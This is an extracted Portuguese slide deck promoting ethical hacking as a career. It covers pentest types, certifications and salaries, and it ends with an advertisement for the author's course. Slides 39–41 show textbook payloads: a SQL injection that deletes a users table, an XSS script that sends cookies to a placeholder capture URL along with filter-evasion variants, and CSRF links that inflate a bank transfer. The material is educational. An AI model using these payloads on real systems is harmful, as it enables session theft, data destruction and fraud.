45
A importância do profissional Hacker Ético no mercado Marcos Flávio Araújo Assunção [email protected]

Importância do profissional Hacker ético no mercado de trabalho

Embed Size (px)

Citation preview

Page 1: Importância do profissional Hacker ético no mercado de trabalho

A importância do profissional

Hacker Ético no mercado

Marcos Flávio Araújo Assunção

[email protected]

Page 2: Importância do profissional Hacker ético no mercado de trabalho

Marcos Flávio Araújo Assunção

Formação:

Mestre em Sistemas de Informação pela Universidade Fumec

Especialista em Redes de Computadores pela ESAB

Especialista em Docência para o ensino profissional pelo Senac Minas

Graduado em Engenharia de Software pelo Centro Universitário UMA

Atuação:

Professor universitário no Centro Universitário UNA

Orientador de curso no Senac Minas

Consultor e palestrante em segurança de redes e ensino profissionalizante

Page 3: Importância do profissional Hacker ético no mercado de trabalho

Marcos Flávio Araújo Assunção

Certificações

CEH

CCNA

Cisco ITQ

Publicações:

Guia do Hacker Brasileiro

Desafio Linux Hacker

Segredos do Hacker Ético

(5 edições)

Honeypots e Honeynets

Wireless Hacking

Projetos:

Valhala Honeypot

Page 4: Importância do profissional Hacker ético no mercado de trabalho

Por que a área de IT

Security cresce tanto?

Page 5: Importância do profissional Hacker ético no mercado de trabalho

Principais problemas (Fonte: govtech.com)

Page 6: Importância do profissional Hacker ético no mercado de trabalho

Como o mercado vê o

Hacker ético

profissional?

Page 7: Importância do profissional Hacker ético no mercado de trabalho

Forbes – Hacker Ético é uma das

principais carreiras do futuro

Page 8: Importância do profissional Hacker ético no mercado de trabalho

Governo americano recruta hackers

globodigital

Page 9: Importância do profissional Hacker ético no mercado de trabalho

Cresce a busca pelo Hacker Ético

jornal-o-globo

Page 10: Importância do profissional Hacker ético no mercado de trabalho

MCT convida movimento Hacker

brasilgov

Page 11: Importância do profissional Hacker ético no mercado de trabalho

Precisa-se de Hackers experientes

estadominas-online

Page 12: Importância do profissional Hacker ético no mercado de trabalho

Quanto é o salário de

um Pentester (Ethical

Hacker) ?

Page 13: Importância do profissional Hacker ético no mercado de trabalho

Fonte: indeed.com

Page 14: Importância do profissional Hacker ético no mercado de trabalho

Pagamento médio CEH (Fonte: softwareadvice.com)

Page 15: Importância do profissional Hacker ético no mercado de trabalho

Linkedin: a fonte de oportunidades em Ethical Hacking

Page 16: Importância do profissional Hacker ético no mercado de trabalho

Freelancing em Ethical Hacking

Page 17: Importância do profissional Hacker ético no mercado de trabalho

O que faz um

profissional Hacker

Ético / Pentester ?

Page 18: Importância do profissional Hacker ético no mercado de trabalho

Penetration Test (Teste de Invasão)

Consiste em utilizartécnicas de Hackers emtestes de stress da segurança de redes e sistemas

É a principal ferramentade um Hacker Ético

CEH, LPT, Ethical Hacking Foundation, OCSP, GWAPT, GPEN, etc.

Page 19: Importância do profissional Hacker ético no mercado de trabalho

Padrões e entidades que exigem Penetration Tests

Page 20: Importância do profissional Hacker ético no mercado de trabalho

Teste de “stress” – Uma necessidade real

Page 21: Importância do profissional Hacker ético no mercado de trabalho

Teste de “stress” - Pressão

capacete

Page 22: Importância do profissional Hacker ético no mercado de trabalho

Teste de “stress” - Temperatura

flame-test-helmet

Page 23: Importância do profissional Hacker ético no mercado de trabalho

Fases de um PenTest

Page 24: Importância do profissional Hacker ético no mercado de trabalho

Tipos de Penetration Test

Black Box

White Box

Gray Box

Page 25: Importância do profissional Hacker ético no mercado de trabalho

Black Box

Teste realizado em um sistema remoto, sem nenhum conhecimento do alvo. O invasor deve partir da estaca zero, sem informações sobre endereços IPs públicos, sistemas operacionais utilizados, tipos de roteadores e firewalls, etc. Esse teste visa demonstrar a visão de um atacante de fora da intranet da empresa.

Page 26: Importância do profissional Hacker ético no mercado de trabalho

Gray Box

Teste realizado entre departamentos ou sub-redes de uma intranet, com conhecimento parcial da estrutura. O objetivo desse teste é demonstrar até que ponto um funcionário consegue chegar caso ele decida tentar acessar um sistema de outro departamento ao qual ele não tem acesso legítimo. Nesse tipo de PenTest, temos conhecimento parcial da rede, como a faixa de endereços IPs utilizada na sub-rede de origem, o endereço IP do gateway e do servidor DNS, etc.

Page 27: Importância do profissional Hacker ético no mercado de trabalho

White Box

Teste realizado em uma intranet local, com total conhecimento do alvo. Nesse teste, temos o conhecimento total de como a rede opera, sabemos todos os dispositivos, endereços e sistemas operacionais utilizados. A visão de um teste White Box é a de um administrador de rede. Essa metodologia de testagem é utilizada quando desejamos conhecer até onde um administrador poderá ir caso deseje acessar dados ou obter informações, tais como conversar de MSN, senhas de usuários, e-mails alheios, etc.

Page 28: Importância do profissional Hacker ético no mercado de trabalho

Níveis de um Pentester / Ethical Hacker

Nível 1 – Júnior – Tool based Penetration Tester:Esse profissional é aquele que somente conhece as ferramentas básicas parao pentest, não sendo capaz de desenvolver suas próprias técnicas e ferramentas.Muitas vezes aprenderam as técnicas em treinamentos específicos. Aqui estão as certificações CEH, ECSA, LPT, Ethical Hacking Foundation, GPen e GWapt

Nível 2 – Pleno – Coding based Penetration Tester:Esse profissional é aquele que desenvolve suas próprias ferramentas e scripts para a realização dos penetration tests, mas ainda está limitado ao teste de vulnerabilidades já conhecidas. Consegue entretanto melhorar soluções existentes, como criar novos módulos para o Metasploit. Necessita de conhecimentos pelo menos em algoritmos e linguagens básicas de programação. Temos nesse nível o OSCP.

Nível 3 – Sênior – Vulnerability Researcher:Ao invés de realizarem PenTests, muitos hackers éticos com conhecimento mais avançado preferem debugar o funcionamento de softwares e protocolos em busca de falhas do tipo 0-day, e muitos são contratados por empresas com essa finalidade. Ainda não existe uma certificação de peso neste nível.

Page 29: Importância do profissional Hacker ético no mercado de trabalho

Certificações de

Ethical Hacking

Page 30: Importância do profissional Hacker ético no mercado de trabalho

EXIN Ethical Hacking Foundation

Page 31: Importância do profissional Hacker ético no mercado de trabalho

EC-COUNCIL Certified Ethical Hacker (CEH)

Page 32: Importância do profissional Hacker ético no mercado de trabalho

EC-COUNCIL ECSA Pentest

Page 33: Importância do profissional Hacker ético no mercado de trabalho

ECCOUNCIL Licensed Penetration Tester

Page 34: Importância do profissional Hacker ético no mercado de trabalho

GIAC - GPEN

Page 35: Importância do profissional Hacker ético no mercado de trabalho

GIAC GWAPT

Page 36: Importância do profissional Hacker ético no mercado de trabalho

Offensive Security Certified Professional

Page 37: Importância do profissional Hacker ético no mercado de trabalho

Exemplos de

vulnerabilidades

testadas

Page 38: Importância do profissional Hacker ético no mercado de trabalho

Falhas de softwares

Buffer Overflows

(Stack e Heap)

Strings de format

vulneráveis

Memory corruption

Injection (SQL,

XPATH, CMD, XSS,

CSRF)

Permissões incorretas

Page 39: Importância do profissional Hacker ético no mercado de trabalho

SQL Injection

GET /user_lookup.cfm?lastname=assuncao ’;DELETE FROM users

WHERE 1=‘1 HTTP/1.1

SELECT *

FROM users

WHERE lastname = ‘assuncao’;DELETE FROM users WHERE 1=‘1’

Page 40: Importância do profissional Hacker ético no mercado de trabalho

Cross Site Scripting <XSS>

<script> alert(‘Oi’!) </script>

<script>

location.href=“http://www.site.com/captura.cfm?c=“

+ document.cookie</script>

<a href=“javas&#99;ript&#35;[código]>

<div style=“behaviour: url([código]);”>

<body onload=“[código]”>

<img src=“javascript:[código]”>

Page 41: Importância do profissional Hacker ético no mercado de trabalho

Cross Site Request Forgery (CSRF)

Exemplo: Maria está logada no site do banco e a URL da transação é:

http://banco.com/transf?conta=MARIA&quantia=100

Um ataque pode criar um link que altera o valor da transação:

<a href=http://banco.com/transf?conta=MARIA$quantia=100000>

Ou uma imagem “falsa”:

<img src=http://banco.com/transf?conta=MARIA$quantia=100000>

Page 42: Importância do profissional Hacker ético no mercado de trabalho

Quero atuar na área.

Como começar?

Page 43: Importância do profissional Hacker ético no mercado de trabalho

Treinamento em Fundamentos de Ethical Hacking

• 21 horas de vídeos

• 175 aulas

• Acesso ilimitado e eterno

• Certificado internacional

• Conteúdo aborda a maioria

das certificações de PenTest

• 50% de desconto: pague apenas 100

reais pelo curso.

Acesse para aproveitar a promoção:

www.marcosflavio.com.br

Page 44: Importância do profissional Hacker ético no mercado de trabalho

Dúvidas?

Page 45: Importância do profissional Hacker ético no mercado de trabalho

A importância do profissional

Hacker Ético no mercado

Marcos Flávio Araújo Assunção

[email protected]